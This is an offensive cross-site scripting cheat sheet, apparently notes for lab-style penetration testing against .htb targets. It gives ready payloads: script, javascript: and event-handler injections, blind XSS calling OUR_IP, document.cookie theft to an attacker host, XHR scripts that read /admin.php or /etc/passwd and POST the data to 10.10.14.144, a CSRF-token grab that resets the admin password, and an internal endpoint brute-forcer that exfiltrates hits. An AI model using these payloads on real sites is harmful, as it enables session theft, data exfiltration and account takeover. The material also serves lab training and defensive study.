XSS#
Here are some way you can execute JavaScript. A good overview is provided by PortSwigger’s XSS Cheat Sheet.
Script Tag
<script>alert(1)</script>Pseudo Protocols
We can use pseudo-protocols such as javascript or data in certain HTML attributes that indicate where data is loaded from to achieve JavaScript code execution. For instance, we can set the target of an a tag to the javascript pseudo protocol, and the corresponding JavaScript code is executed when the link is clicked:
<a href="javascript:alert(1)">click</a>We can also create XSS payloads with pseudo-protocols that do not require user interaction. For instance, using the object tag. The data pseudo protocol allows us to specify plain HTML code or base64-encoded HTML code:
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Event Handlers
Thirdly, we can use event handlers such as onload or onerror to specify JavaScript code that is executed when the event handler is triggered:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>Blind Injection
Open a web server
python3 -m http.server 80Put this in every input field, remember to replace input_field with the name of input field so you know which one is vulnerable
<script>tag
'"><script src="http://OUR_IP/input_field"></script><img>tag
'"><img src="http://OUR_IP/input_field">Then, you can use this to fetch javascript code from our own server without needing to post new payload everytime
'"><script src="http://OUR_IP/pwn.js"></script>Session Hijack#
This attack is completely crippled by HttpOnly Cookie Attribute
Basically, what we want is to make the browser reach our site, sending along the cookies of the current site.
document.location will send the browser to a specified URL. In this case, we just redirect them to our site
document.location='http://OUR_IP/index.php?c='+document.cookie;image().src is a little more subtle. It will create an <img> tag, and the browser will load that <img> tag, and it will reach our site
new Image().src='http://OUR_IP/index.php?c='+document.cookie;This is an <img> tag, for HTML injection. The previous payloads are js code. Same functionality as the payload above
"><img src="x" onerror="new Image().src='http://OUR_IP/index.php?c='+document.cookie;">Access Exclusive Endpoint#
You can fuzz subdirectories or files in the web server and use XSS to fetch what seems important. See if there is any function exclusive to admin for example
var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php', true);
xhr.withCredentials = true;
xhr.onload = () => {
var exfil = new XMLHttpRequest();
exfil.open("POST", "https://10.10.14.144:4443/log", true);
exfil.setRequestHeader("Content-Type", "application/json");
exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
};
xhr.send();Then you can chain it with another vulnerability, like LFI
var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php?view=../../../../etc/passwd', true);
xhr.withCredentials = true;
xhr.onload = () => {
var exfil = new XMLHttpRequest();
exfil.open("POST", "https://10.10.14.144:4443/log", true);
exfil.setRequestHeader("Content-Type", "application/json");
exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
};
xhr.send();Debug#
We can try to determine the error with a try-catch block. Notice that we set async to false in the line xhr.open('GET', '/admin.php', false)
try {
var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php', false);
xhr.withCredentials = true;
xhr.send();
var msg = xhr.responseText;
} catch (error) {
var msg = error;
}
var exfil = new XMLHttpRequest();
exfil.open("POST", "https://10.10.14.144:4443/log", true);
exfil.setRequestHeader("Content-Type", "application/json");
exfil.send(JSON.stringify({data: btoa(msg)}));Submitting Forms#
Say there is a password change POST form that do not require to enter old password, but have CSRF token
We can just GET the page to get CSRF token, then do a POST with CSRF token and voila, account takeover
// GET CSRF token
var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);
// change PW
var csrf_req = new XMLHttpRequest();
var params = `username=admin&email=admin@vulnerablesite.htb&password=pwned&csrf_token=${csrftoken}`;
csrf_req.open('POST', '/home.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);Directory brute-force#
var endpoints = ['access-token','account','accounts','amount','balance','balances','bar','baz','bio','bios','category','channel','chart','circular','company','content','contract','coordinate','credentials','creds','custom','customer','customers','details','dir','directory','dob','email','employee','event','favorite','feed','foo','form','github','gmail','group','history','image','info','item','job','link','links','location','log','login','logins','logs','map','member','members','messages','money','my','name','names','news','option','options','pass','password','passwords','phone','picture','pin','post','prod','production','profile','profiles','publication','record','sale','sales','set','setting','settings','setup','site','test','theme','token','tokens','twitter','union','url','user','username','users','vendor','vendors','version','website','work','yahoo'];
for (i in endpoints){
try {
var xhr = new XMLHttpRequest();
xhr.open('GET', `https://api.internal-apis.htb/v1/${endpoints[i]}`, false);
xhr.send();
if (xhr.status != 404){
var exfil = new XMLHttpRequest();
exfil.open("POST", "https://10.10.14.144:4443/log", true);
exfil.setRequestHeader("Content-Type", "application/json");
exfil.send(JSON.stringify({data: btoa(endpoints[i])}));
}
} catch {
// do nothing
}
}